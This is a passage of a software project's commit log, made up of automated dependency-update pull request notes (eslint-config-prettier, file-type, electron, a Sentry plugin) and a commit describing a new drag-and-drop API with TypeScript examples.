-   Added: Support for [eslint-plugin-unicorn]. Thanks to John Mars ([@&#8203;j0hnm4r5](https://redirect.github.com/j0hnm4r5))!
-   Changed: The [quotes] rule is now allowed to be used to forbid unnecessary backticks. This means that the CLI helper tool no longer can automatically validate it, so you’ll need to refer the [quotes special rule documentation][quotes-special]. Thanks to Nick Petruzzelli ([@&#8203;npetruzzelli](https://redirect.github.com/npetruzzelli))!

##### Version 3.0.1 (2018-08-13)

-   Improved: `eslint --print-config` usage instructions.

##### Version 3.0.0 (2018-08-13)

-   Breaking change: Dropped Node.js 4 support.

##### Version 2.10.0 (2018-08-13)

-   Added: [flowtype/boolean-style]. Thanks to Mayank Agarwal ([@&#8203;Mayank1791989](https://redirect.github.com/Mayank1791989))!
-   Added: [react/jsx-child-element-spacing]
-   Added: [react/jsx-props-no-multi-spaces]

##### Version 2.9.0 (2017-11-26)

-   Added: The [implicit-arrow-linebreak] rule.

##### Version 2.8.0 (2017-11-19)

-   Added: The [react/jsx-one-expression-per-line] rule.

##### Version 2.7.0 (2017-11-01)

-   Added: The [lines-around-comment] rule (as a [special rule][lines-around-comment-special]). Thanks to Maurice de Beijer ([@&#8203;mauricedb](https://redirect.github.com/mauricedb))!
-   Added: The [no-unexpected-multiline] rule (as a [special rule][no-unexpected-multiline-special]). Thanks to Suhas Karanth ([@&#8203;sudo-suhas](https://redirect.github.com/sudo-suhas))!

##### Version 2.6.0 (2017-09-23)

-   Added: The [no-floating-decimal] rule.

##### Version 2.5.0 (2017-09-16)

-   Added: Support for [eslint-plugin-standard]. Thanks to Christian Pekeler ([@&#8203;pekeler](https://redirect.github.com/pekeler))!

##### Version 2.4.0 (2017-09-02)

-   Added: The [function-paren-newline] rule (new in [ESLint 4.6.0]). Thanks to Pierre Vanduynslager ([@&#8203;vanduynslagerp](https://redirect.github.com/vanduynslagerp))!

##### Version 2.3.0 (2017-06-30)

-   Added: The (deprecated) [indent-legacy] rule. Thanks to M. Ian Graham ([@&#8203;miangraham](https://redirect.github.com/miangraham))!

##### Version 2.2.0 (2017-06-17)

-   Added: New rules from [ESLint 4.0.0]:
    -   [array-element-newline]
    -   [array-bracket-newline]
    -   [semi-style]
    -   [switch-colon-spacing]
-   Added: [react/jsx-closing-tag-location]

##### Version 2.1.1 (2017-05-20)

-   No code changes. Just updates to the readme.

##### Version 2.1.0 (2017-05-13)

-   Added: The [no-tabs] rule (as a [special rule][no-tabs-special]). Thanks to Alex Meah ([@&#8203;AlexMeah](https://redirect.github.com/AlexMeah))!

##### Version 2.0.0 (2017-05-07)

-   Changed/Improved: The CLI helper tool is now more helpful.

    -   The options of special rules are now validated if possible. If a special rule is enabled with non-conflicting options, the CLI no longer warns about it.
    -   If only special rules that cannot be automatically checked are found, the CLI no longer exists with a non-zero exit code. Instead, it only warns about the rules.

-   Changed: The [no-confusing-arrow] is now a special rule again, since it might conflict with recent Prettier versions.

-   Removed: The `react/wrap-multilines` rule (which has been deprecated for a while), since it was removed in eslint-plugin-react@7.

##### Version 1.7.0 (2017-04-19)

-   Changed: The [no-confusing-arrow] is no longer a special rule, but simply turned off, since recent Prettier versions make it redundant.
-   Improved: The CLI helper tool now has a more helpful message for special rules, and exits with a different status code if only special rules were found. The exit codes are now documented as well.

##### Version 1.6.0 (2017-04-05)

-   Added: The [curly] rule. Thanks to Martin Rädlinger ([@&#8203;formatlos](https://redirect.github.com/formatlos))!

##### Version 1.5.0 (2017-03-04)

-   Added: The [nonblock-statement-body-position] rule.

##### Version 1.4.1 (2017-02-28)

-   Improved: eslint-config-prettier is now part of the [prettier] organization! This version updates all URLs to point to the new home of the project.

##### Version 1.4.0 (2017-02-26)

-   Added: The [no-confusing-arrow] rule (as a [special rule][no-confusing-arrow-special]). Thanks to Dominik Ferber ([@&#8203;dferber90](https://redirect.github.com/dferber90))!
-   Added: Deprecated or removed rules that might conflict with prettier. Thanks to Dominik Ferber ([@&#8203;dferber90](https://redirect.github.com/dferber90))!

##### Version 1.3.0 (2017-02-21)

-   Added: The [template-tag-spacing] rule. Thanks to Thibault Derousseaux ([@&#8203;tibdex](https://redirect.github.com/tibdex))!

##### Version 1.2.0 (2017-02-14)

-   Added: The [one-var-declaration-per-line] rule. Thanks to Ruben Oostinga ([@&#8203;0xR](https://redirect.github.com/0xR))!

##### Version 1.1.1 (2017-02-12)

-   Minor documentation tweak: Changed "Exceptions" into "Special rules".

##### Version 1.1.0 (2017-02-10)

-   Fixed: The [eslint-plugin-react] exclusion rules now actually work.
-   Fixed: The CLI helper tool now works in Node.js 4. Thanks to Nathan Friedly ([@&#8203;nfriedly](https://redirect.github.com/nfriedly))!
-   Added: Support for [eslint-plugin-flowtype].
-   Improved: Minor things for the CLI helper tool.
-   Improved: There are now tests for everything.

##### Version 1.0.3 (2017-02-03)

-   Fixed: `"extends": "prettier/react"` now actually works.

##### Version 1.0.2 (2017-01-30)

-   Improved: CLI helper tool instructions.

##### Version 1.0.1 (2017-01-29)

-   No difference from 1.0.0. Just an `npm publish` mistake.

##### Version 1.0.0 (2017-01-29)

-   Initial release.

[@&#8203;babel/eslint-plugin]: https://redirect.github.com/babel/babel/tree/main/eslint/babel-eslint-plugin

[@&#8203;typescript-eslint/block-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/block-spacing.md

[@&#8203;typescript-eslint/brace-style]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/brace-style.md

[@&#8203;typescript-eslint/comma-dangle]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/comma-dangle.md

[@&#8203;typescript-eslint/comma-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/comma-spacing.md

[@&#8203;typescript-eslint/eslint-plugin]: https://redirect.github.com/typescript-eslint/typescript-eslint

[@&#8203;typescript-eslint/func-call-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/func-call-spacing.md

[@&#8203;typescript-eslint/key-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/key-spacing.md

[@&#8203;typescript-eslint/keyword-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/keyword-spacing.md

[@&#8203;typescript-eslint/lines-around-comment]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/lines-around-comment.md

[@&#8203;typescript-eslint/no-extra-parens]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/no-extra-parens.md

[@&#8203;typescript-eslint/no-extra-semi]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/no-extra-semi.md

[@&#8203;typescript-eslint/object-curly-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/object-curly-spacing.md

[@&#8203;typescript-eslint/quotes-special]: https://redirect.github.com/prettier/eslint-config-prettier/blob/857257179fe69715362dfa9300762d6e534c0603/README.md#quotes

[@&#8203;typescript-eslint/quotes]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/quotes.md

[@&#8203;typescript-eslint/semi]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/semi.md

[@&#8203;typescript-eslint/space-before-blocks]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/space-before-blocks.md

[@&#8203;typescript-eslint/space-before-function-paren]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/space-before-function-paren.md

[@&#8203;typescript-eslint/space-infix-ops]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/space-infix-ops.md

[array-bracket-newline]: https://eslint.org/docs/rules/array-bracket-newline

[array-element-newline]: https://eslint.org/docs/rules/array-element-newline

[arrow-body-style]: https://eslint.org/docs/rules/arrow-body-style

[arrow-special]: https://redirect.github.com/prettier/eslint-config-prettier/blob/2c842675e55b91aecaef6f997d234ebf2d220ffb/README.md#arrow-body-style-and-prefer-arrow-callback

[curly]: https://eslint.org/docs/rules/curly

[deprecated-8.53.0]: https://eslint.org/blog/2023/10/deprecating-formatting-rules/

[end-of-line]: https://prettier.io/docs/en/options.html#end-of-line

[eslint 4.0.0]: https://eslint.org/blog/2017/06/eslint-v4.0.0-released

[eslint 4.6.0]: https://eslint.org/blog/2017/09/eslint-v4.6.0-released

[ESLINT_USE_FLAT_CONFIG]: https://redirect.github.com/prettier/eslint-config-prettier#eslint_use_flat_config-environment-variable

[eslint-plugin-babel]: https://redirect.github.com/babel/eslint-plugin-babel

[eslint-plugin-flowtype]: https://redirect.github.com/gajus/eslint-plugin-flowtype

[eslint-plugin-prettier]: https://redirect.github.com/prettier/eslint-plugin-prettier

[eslint-plugin-react]: https://redirect.github.com/yannickcr/eslint-plugin-react

[eslint-plugin-standard]: https://redirect.github.com/xjamundx/eslint-plugin-standard

[eslint-plugin-typescript]: https://redirect.github.com/bradzacher/eslint-plugin-typescript

[eslint-plugin-unicorn]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn

[eslint-plugin-vue]: https://redirect.github.com/vuejs/eslint-plugin-vue

[excluding deprecated rules]: https://redirect.github.com/prettier/eslint-config-prettier/tree/9f6b59486ad742dc12ad3be157ddff5f8454ef7a#excluding-deprecated-rules

[flowtype/boolean-style]: https://redirect.github.com/gajus/eslint-plugin-flowtype#eslint-plugin-flowtype-rules-boolean-style

[flowtype/object-type-curly-spacing]: https://redirect.github.com/gajus/eslint-plugin-flowtype#eslint-plugin-flowtype-rules-object-type-curly-spacing

[flowtype/quotes]: https://redirect.github.com/gajus/eslint-plugin-flowtype#eslint-plugin-flowtype-rules-quotes

[function-call-argument-newline]: https://eslint.org/docs/rules/function-call-argument-newline

[function-paren-newline]: https://eslint.org/docs/rules/function-paren-newline

[implicit-arrow-linebreak]: https://eslint.org/docs/rules/implicit-arrow-linebreak

[indent-legacy]: https://eslint.org/docs/rules/indent-legacy

[linebreak-style]: https://eslint.org/docs/rules/linebreak-style

[lines-around-comment-special]: https://redirect.github.com/prettier/eslint-config-prettier/blob/5399175c37466747aae9d407021dffec2c169c8b/README.md#lines-around-comment

[lines-around-comment]: https://eslint.org/docs/rules/lines-around-comment

[max-statements-per-line]: https://eslint.org/docs/latest/rules/max-statements-per-line

[no-confusing-arrow-special]: https://redirect.github.com/prettier/eslint-config-prettier/blob/08ac5bcc25c9cdc71864b4a1e4191e7d28dd2bc2/README.md#no-confusing-arrow

[no-confusing-arrow]: https://eslint.org/docs/rules/no-confusing-arrow

[no-floating-decimal]: https://eslint.org/docs/rules/no-floating-decimal

[no-tabs-special]: https://redirect.github.com/prettier/eslint-config-prettier/blob/dfa6e2b51f11a8001e9e7d38b78f03c7d75175ec/README.md#no-tabs

[no-tabs]: https://eslint.org/docs/rules/no-tabs

[no-unexpected-multiline-special]: https://redirect.github.com/prettier/eslint-config-prettier/blob/5399175c37466747aae9d407021dffec2c169c8b/README.md#no-unexpected-multiline

[no-unexpected-multiline]: https://eslint.org/docs/rules/no-unexpected-multiline

[nonblock-statement-body-position]: https://eslint.org/docs/rules/nonblock-statement-body-position

[one-var-declaration-per-line]: https://eslint.org/docs/rules/one-var-declaration-per-line

[plugin:prettier/recommended]: https://redirect.github.com/prettier/eslint-plugin-prettier#recommended-configuration

[prefer-arrow-callback]: https://eslint.org/docs/rules/prefer-arrow-callback

[prettier-prettier-config]: https://redirect.github.com/prettier/eslint-config-prettier/tree/03c79b9306892d4dbc828ce723813ef015baabc5#arrow-body-style-and-prefer-arrow-callback

[prettier-self-closing]: https://prettier.io/blog/2019/06/06/1.18.0.html#stop-converting-empty-jsx-elements-to-self-closing-elements-6127-by-duailibe

[prettier]: https://redirect.github.com/prettier

[quotes-special]: https://redirect.github.com/prettier/eslint-config-prettier/blob/8d264cd0a7f06c12e2e05415e0282a4f8f21ebc9/README.md#quotes

[quotes]: https://eslint.org/docs/rules/quotes

[react/jsx-child-element-spacing]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-child-element-spacing.md

[react/jsx-closing-tag-location]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-closing-tag-location.md

[react/jsx-curly-newline]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-curly-newline.md

[react/jsx-newline]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-newline.md

[react/jsx-one-expression-per-line]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-one-expression-per-line.md

[react/jsx-props-no-multi-spaces]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-props-no-multi-spaces.md

[react/self-closing-comp]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/self-closing-comp.md

[semi-style]: https://eslint.org/docs/rules/semi-style

[switch-colon-spacing]: https://eslint.org/docs/rules/switch-colon-spacing

[template-tag-spacing]: https://eslint.org/docs/rules/template-tag-spacing

[unicode-bom]: https://eslint.org/docs/rules/unicode-bom

[unicorn/empty-brace-spaces]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/blob/master/docs/rules/empty-brace-spaces.md

[unicorn/no-nested-ternary]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/blob/master/docs/rules/no-nested-ternary.md

[unicorn/template-indent-special]: https://redirect.github.com/prettier/eslint-config-prettier/blob/4110dff0c5b258be37506ecee9578cd7ff8e4759/README.md#unicorntemplate-indent

[unicorn/template-indent]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/blob/master/docs/rules/template-indent.md

[vue/array-element-newline]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/array-element-newline.md

[vue/arrow-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/arrow-spacing.md

[vue/block-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/block-spacing.md

[vue/brace-style]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/brace-style.md

[vue/comma-dangle]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/comma-dangle.md

[vue/dot-location]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/dot-location.md

[vue/html-self-closing-special]: https://redirect.github.com/prettier/eslint-config-prettier/blob/d5e7af986221df5faedc12893d8dc3150a808693/README.md#vuehtml-self-closing

[vue/html-self-closing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/html-self-closing.md

[vue/keyword-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/array-bracket-newline.md

[vue/keyword-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/block-tag-newline.md

[vue/keyword-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/keyword-spacing.md

[vue/max-len]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/max-len.md

[vue/multiline-ternary]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/multiline-ternary.md

[vue/quote-props]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/quote-props.md

### [`v10.0.0`](https://redirect.github.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#1000)

[Compare Source](https://redirect.github.com/prettier/eslint-config-prettier/compare/v9.1.0...v10.0.0)

##### Major Changes

-   [#&#8203;272](https://redirect.github.com/prettier/eslint-config-prettier/pull/272) [`5be64be`](https://redirect.github.com/prettier/eslint-config-prettier/commit/5be64bef68c3a9bf7202f591f54ffec02572e46b) Thanks [@&#8203;abrahamguo](https://redirect.github.com/abrahamguo)! - add support for [@&#8203;stylistic](https://redirect.github.com/stylistic) formatting rules

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-17 05:23:03 +00:00
doouding b350dd1580 fix: legacy e2e test debug (#9746) 2025-01-17 04:26:59 +00:00
EYHN ca9c94861a refactor(core): adjust merbers module apis (#9695) 2025-01-17 02:50:02 +00:00
forehalo 64335b9e0c feat(server): add model base (#9734) 2025-01-17 02:03:53 +00:00
L-Sun c2149f218b refactor(editor): enable toc dragging in page mode (#9736)
Related [BS-2322](https://linear.app/affine-design/issue/BS-2322/toc-排序坏掉部分的修复)
2025-01-16 17:53:28 +00:00
EYHN a2ffdb4047 feat(core): new worker workspace engine (#9257) 2025-01-16 16:22:18 +00:00
pengx17 7dc470e7ea feat(core): add new bs dnd adapter (#9717) 2025-01-16 13:54:50 +00:00
doouding 99717196c5 refactor: rewrite blocksuite dnd (#9595)
### Changed

- Refactored BlockSuite drag-and-drop using @atlaskit/pragmatic-drag-and-drop/element/adapter.
- Updated block dragging to use the new drag-and-drop infrastructure.

### BlockSuite DND API

Access the BlockSuite drag-and-drop API via `std.dnd`. This is a lightweight wrapper around pragmatic-drag-and-drop, offering convenient generic types and more intuitive option names.

#### Drag payload structure
There's some constrain about drag payload. The whole drag payload looks like this:

```typescript
type DragPayload = {
  entity: {
    type: string
  },
  from: {
    at: 'blocksuite',
    docId: string
  }
}
```
- The `from` field is auto-generated—no need for manual handling.
- The `entity` field is customizable, but it must include a `type`.

All drag-and-drop methods accept a generic type for entity, ensuring more accurate payloads in event handlers.

```typescript
type BlockEntity = {
  type: 'blocks',
  blockIds: string[]
}

dnd.draggable<BlockEntity>({
  element: someElement,
  setDragData: () => {
    // the return type must satisfy the generic type
    // in this case, it's BlockEntity
    return {
      type: 'blocks',
      blockIds: []
    }
  }
});

dnd.monitor<BlockEntity>({
  // the arguments is same for other event handler
  onDrag({ source }) {
    // the type of this is BlockEntity
    source.data.entity
  }
})
```

#### Drop payload
When hover on droppable target. You can set drop payload as well. All drag-and-drop methods accept a second generic type for drop payload.

The drop payload is customizable. Additionally, the DND system will add an `edge` field to the final payload object, indicating the nearest edge of the drop target relative to the current drag position.

```typescript
type DropPayload = {
  blockId: string;
}

dnd.dropTarget<BlockEntity, DropPayload>({
  getData() {
    // the type should be DropPayload
    return {
      blockId: 'someId'
    }
  }
});

dnd.monitor<BlockEntity, DropPayload>({
  // drag over on drop target
  onDrag({ location }) {
    const target = location.current.dropTargets[0];

    // the type is DropPayload
    target.data;
    // retrieve the nearest edge of the drop target relative to the current drop position.
    target.data.edge;
  }
})
```
2025-01-16 12:36:58 +00:00
liuyi 3828144849 fix(server): disable checksum check for r2 storage when using aws-s3 sdk (#9735) 2025-01-16 11:47:50 +00:00
renovate 908afe19ee chore: bump up file-type version to v20 (#9731)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [file-type](https://redirect.github.com/sindresorhus/file-type) | [`^19.6.0` -> `^20.0.0`](https://renovatebot.com/diffs/npm/file-type/19.6.0/20.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [file-type](https://redirect.github.com/sindresorhus/file-type) | [`^19.5.0` -> `^20.0.0`](https://renovatebot.com/diffs/npm/file-type/19.6.0/20.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/file-type/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/file-type/19.6.0/20.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>sindresorhus/file-type (file-type)</summary>

### [`v20.0.0`](https://redirect.github.com/sindresorhus/file-type/releases/tag/v20.0.0)

[Compare Source](https://redirect.github.com/sindresorhus/file-type/compare/v19.6.0...v20.0.0)

##### Breaking

-   Drop MIME-type and extension enumeration in types ([#&#8203;693](https://redirect.github.com/sindresorhus/file-type/issues/693))  [`0ff11c6`](https://redirect.github.com/sindresorhus/file-type/commit/0ff11c6)
-   Remove `NodeFileTypeParser` in favor of using `FileTypeParser` on all platforms ([#&#8203;707](https://redirect.github.com/sindresorhus/file-type/issues/707))  [`ff8eed8`](https://redirect.github.com/sindresorhus/file-type/commit/ff8eed8)

##### Improvements

-   Give API access to `FileTypeParser#detectors` ([#&#8203;704](https://redirect.github.com/sindresorhus/file-type/issues/704))  [`7e72bbc`](https://redirect.github.com/sindresorhus/file-type/commit/7e72bbc)
-   Improve Nikon RAW NEF (Tiff) format detection ([#&#8203;670](https://redirect.github.com/sindresorhus/file-type/issues/670))  [`cf6fc1e`](https://redirect.github.com/sindresorhus/file-type/commit/cf6fc1e)
-   Add support for Java archive (`.jar`) ([#&#8203;719](https://redirect.github.com/sindresorhus/file-type/issues/719))  [`8651809`](https://redirect.github.com/sindresorhus/file-type/commit/8651809)
-   Add support for MSOffice macro-enabled docs and templates ([#&#8203;720](https://redirect.github.com/sindresorhus/file-type/issues/720))  [`7fe5667`](https://redirect.github.com/sindresorhus/file-type/commit/7fe5667)
-   Add support for OpenDocument graphics and templates ([#&#8203;718](https://redirect.github.com/sindresorhus/file-type/issues/718))  [`4db407d`](https://redirect.github.com/sindresorhus/file-type/commit/4db407d)
-   Add support for Microsoft Excel template with macros (.xltm) ([#&#8203;714](https://redirect.github.com/sindresorhus/file-type/issues/714))  [`1fe621a`](https://redirect.github.com/sindresorhus/file-type/commit/1fe621a)
-   Add support for Microsoft Word template (.dotx) ([#&#8203;713](https://redirect.github.com/sindresorhus/file-type/issues/713))  [`643ef78`](https://redirect.github.com/sindresorhus/file-type/commit/643ef78)
-   Add support for Microsoft Excel template (`.xltx`) ([#&#8203;712](https://redirect.github.com/sindresorhus/file-type/issues/712))  [`0dab3e0`](https://redirect.github.com/sindresorhus/file-type/commit/0dab3e0)
-   Add support for Microsoft PowerPoint template ( `.potx`) ([#&#8203;710](https://redirect.github.com/sindresorhus/file-type/issues/710))  [`f978619`](https://redirect.github.com/sindresorhus/file-type/commit/f978619)
-   Add support for ZIP decompression using `@tokenizer/inflate` ([#&#8203;695](https://redirect.github.com/sindresorhus/file-type/issues/695))  [`399b0f1`](https://redirect.github.com/sindresorhus/file-type/commit/399b0f1)
-   Add support for `.lz4` file format ([#&#8203;706](https://redirect.github.com/sindresorhus/file-type/issues/706))  [`74acf94`](https://redirect.github.com/sindresorhus/file-type/commit/74acf94)
-   Add support for format `.drc`, Google's Draco 3D Data Compression ([#&#8203;702](https://redirect.github.com/sindresorhus/file-type/issues/702))  [`e99257d`](https://redirect.github.com/sindresorhus/file-type/commit/e99257d)

##### Fixes

-   Fix code sequence "File Type Box" detection ([#&#8203;705](https://redirect.github.com/sindresorhus/file-type/issues/705))  [`7d4dd8d`](https://redirect.github.com/sindresorhus/file-type/commit/7d4dd8d)

***

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-16 10:08:14 +00:00
renovate 9160b72d5b chore: bump up electron version to v34 (#9694)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [electron](https://redirect.github.com/electron/electron) | [`^33.3.0` -> `^34.0.0`](https://renovatebot.com/diffs/npm/electron/33.3.1/34.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/34.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/34.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/33.3.1/34.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/33.3.1/34.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>electron/electron (electron)</summary>

### [`v34.0.0`](https://redirect.github.com/electron/electron/releases/tag/v34.0.0): electron v34.0.0

[Compare Source](https://redirect.github.com/electron/electron/compare/v33.3.1...v34.0.0)

### Release Notes for v34.0.0

#### Other Changes

-   Updated Chromium to 132.0.6834.83. [#&#8203;45164](https://redirect.github.com/electron/electron/pull/45164)

#### Documentation

-   Documentation changes: [#&#8203;45189](https://redirect.github.com/electron/electron/pull/45189)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-16 09:51:15 +00:00
forehalo 1687184891 feat(server): feature model (#9709)
close CLOUD-101
2025-01-16 09:36:16 +00:00
renovate 0acd23695b chore: bump up @sentry/esbuild-plugin version to v3 (#9720)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@sentry/esbuild-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/esbuild-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`^2.22.7` -> `^3.0.0`](https://renovatebot.com/diffs/npm/@sentry%2fesbuild-plugin/2.23.0/3.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fesbuild-plugin/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fesbuild-plugin/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fesbuild-plugin/2.23.0/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fesbuild-plugin/2.23.0/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>getsentry/sentry-javascript-bundler-plugins (@&#8203;sentry/esbuild-plugin)</summary>

### [`v3.0.0`](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/blob/HEAD/CHANGELOG.md#300)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/compare/2.23.0...3.0.0)

##### Breaking Changes

-   Injected code will now use `let`, which was added in ES6 (ES2015).
    This means that ES6 is the minimum JavaScript version that the Sentry bundler plugins support.

-   Deprecated options have been removed:
    -   `deleteFilesAfterUpload` - Use `filesToDeleteAfterUpload` instead
    -   `bundleSizeOptimizations.excludePerformanceMonitoring` - Use `bundleSizeOptimizations.excludeTracing` instead
    -   `_experiments.moduleMetadata` - Use `moduleMetadata` instead
    -   `cleanArtifacts` - Did not do anything

##### List of Changes

